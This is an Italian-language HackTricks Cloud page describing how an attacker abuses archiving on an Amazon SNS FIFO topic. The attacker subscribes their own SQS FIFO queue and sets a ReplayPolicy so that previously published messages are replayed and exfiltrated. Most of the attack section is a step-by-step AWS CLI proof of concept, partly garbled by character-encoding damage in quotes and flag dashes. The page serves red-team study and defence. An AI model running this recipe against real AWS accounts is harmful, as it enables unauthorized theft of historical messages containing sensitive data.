SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al đŹ Discord group o al telegram group o seguici su Twitter đŚ @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
Abuso dellâarchiviazione dei messaggi dei topic Amazon SNS FIFO per riprodurre ed exfiltrate messaggi pubblicati in precedenza verso una SQS FIFO queue controllata dallâattacker impostando la ReplayPolicy della subscription.
- Servizio: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
- Requisiti: Topic deve avere
ArchivePolicyabilitato (archiviazione dei messaggi). Attacker puòSubscribeal topic e impostare attributi sulla loro subscription. Attacker controlla una SQS FIFO queue e permette al topic di inviare messaggi. - Impatto: Messaggi storici (pubblicati prima della subscription) possono essere consegnati allâendpoint dellâattacker. Le consegne riprodotte sono segnate con Replayed=true nellâenvelope SNS.
Precondizioni
- SNS FIFO topic con archiviazione abilitata:
ArchivePolicy(es.{ "MessageRetentionPeriod": "2" }per 2 giorni). - Attacker ha permessi per:
sns:Subscribesul topic target.sns:SetSubscriptionAttributessulla subscription creata.- Attacker possiede una SQS FIFO queue e può allegare una queue policy che permetta
sns:SendMessagedallâARN del topic.
Permessi IAM minimi
- Sul topic:
sns:Subscribe. - Sulla subscription:
sns:SetSubscriptionAttributes. - Sulla queue:
sqs:SetQueueAttributesper la policy, e queue policy che permettasns:SendMessagedallâARN del topic.
Attacco: Replay dei messaggi archiviati verso attacker SQS FIFO
Attacker sottoscrive la sua SQS FIFO queue al victim SNS FIFO topic, poi imposta la ReplayPolicy su un timestamp nel passato (allâinterno della finestra di retention dellâarchivio). SNS riproduce immediatamente i messaggi archiviati corrispondenti alla nuova subscription e li marca con Replayed=true.
Note:
- Il timestamp usato in
ReplayPolicydeve essere >= delBeginningArchiveTimedel topic. Se è precedente, lâAPI restituisceInvalid StartingPoint value. - Per SNS FIFO
Publish, è necessario specificare unMessageGroupId(e o un dedup ID o abilitareContentBasedDeduplication).
POC CLI end-to-end (us-east-1)
```bash REGION=us-east-1 # Compute a starting point; adjust later to >= BeginningArchiveTime if needed TS_START=$(python3 - << 'PY' from datetime import datetime, timezone, timedelta print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ')) PY )1) Create SNS FIFO topic with archiving (2-day retention)
TOPIC_NAME=htreplay$(date +%s).fifo
TOPIC_ARN=$(aws sns create-topic âregion â$REGIONâ
âcli-input-json â{âNameâ:âââ$TOPIC_NAMEâââ,âAttributesâ:{âFifoTopicâ:âtrueâ,âContentBasedDeduplicationâ:âtrueâ,âArchivePolicyâ:â{"MessageRetentionPeriod":"2"}â}}â
âquery TopicArn âoutput text)
echo âTopic: $TOPIC_ARNâ
2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
for i in $(seq 1 3); do
aws sns publish âregion â$REGIONâ âtopic-arn â$TOPIC_ARNâ
âmessage â{"orderId":$i,"secret":"ssn-123-45-678$i"}â
âmessage-group-id g1 >/dev/null
done
3) Create attacker SQS FIFO queue and allow only this topic to send
Q_URL=$(aws sqs create-queue âqueue-name ht-replay-exfil-q-$(date +%s).fifo
âattributes FifoQueue=true âregion â$REGIONâ âquery QueueUrl âoutput text)
Q_ARN=$(aws sqs get-queue-attributes âqueue-url â$Q_URLâ âregion â$REGIONâ
âattribute-names QueueArn âquery Attributes.QueueArn âoutput text)
cat > /tmp/ht-replay-sqs-policy.json <<JSON {âVersionâ:â2012-10-17â,âStatementâ:[{âSidâ:âAllowSNSSendâ,âEffectâ:âAllowâ,âPrincipalâ:{âServiceâ:âsns.amazonaws.comâ},âActionâ:âsqs:SendMessageâ,âResourceâ:â$Q_ARNâ,âConditionâ:{âArnEqualsâ:{âaws:SourceArnâ:â$TOPIC_ARNâ}}}]} JSON
Use CLI input JSON to avoid quoting issues
aws sqs set-queue-attributes âregion â$REGIONâ âcli-input-json â$(python3 - << âPYâ import json, os print(json.dumps({ âQueueUrlâ: os.environ[âQ_URLâ], âAttributesâ: {âPolicyâ: open(â/tmp/ht-replay-sqs-policy.jsonâ).read()} })) PY )â
4) Subscribe the queue to the topic
SUB_ARN=$(aws sns subscribe âregion â$REGIONâ âtopic-arn â$TOPIC_ARNâ
âprotocol sqs ânotification-endpoint â$Q_ARNâ âquery SubscriptionArn âoutput text)
echo âSubscription: $SUB_ARNâ
5) Ensure StartingPoint is >= BeginningArchiveTime
BEGIN=$(aws sns get-topic-attributes âregion â$REGIONâ âtopic-arn â$TOPIC_ARNâ âquery Attributes.BeginningArchiveTime âoutput text) START=${TS_START} if [ -n â$BEGINâ ]; then START=â$BEGINâ; fi
aws sns set-subscription-attributes âregion â$REGIONâ âsubscription-arn â$SUB_ARNâ
âattribute-name ReplayPolicy
âattribute-value â{"PointType":"Timestamp","StartingPoint":"$START"}â
6) Receive replayed messages (note Replayed=true in the SNS envelope)
aws sqs receive-message âqueue-url â$Q_URLâ âregion â$REGIONâ
âmax-number-of-messages 10 âwait-time-seconds 10
âmessage-attribute-names All âattribute-names All
</details>
## Impatto
**Impatto potenziale**: Un attaccante che può iscriversi a un SNS FIFO topic con l'archiviazione abilitata e impostare `ReplayPolicy` sulla propria sottoscrizione può riprodurre immediatamente ed esfiltrare messaggi storici pubblicati su quel topic, non solo i messaggi inviati dopo la creazione della sottoscrizione. I messaggi consegnati includono un flag `Replayed=true` nell'envelope SNS.
> [!TIP]
> Impara & pratica AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Impara & pratica GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Impara & pratica Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Sostieni HackTricks</summary>
>
> - Controlla i [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Unisciti al** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) o al [**telegram group**](https://t.me/peass) o **seguici** su **Twitter** đŚ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Condividi hacking tricks inviando PRs ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

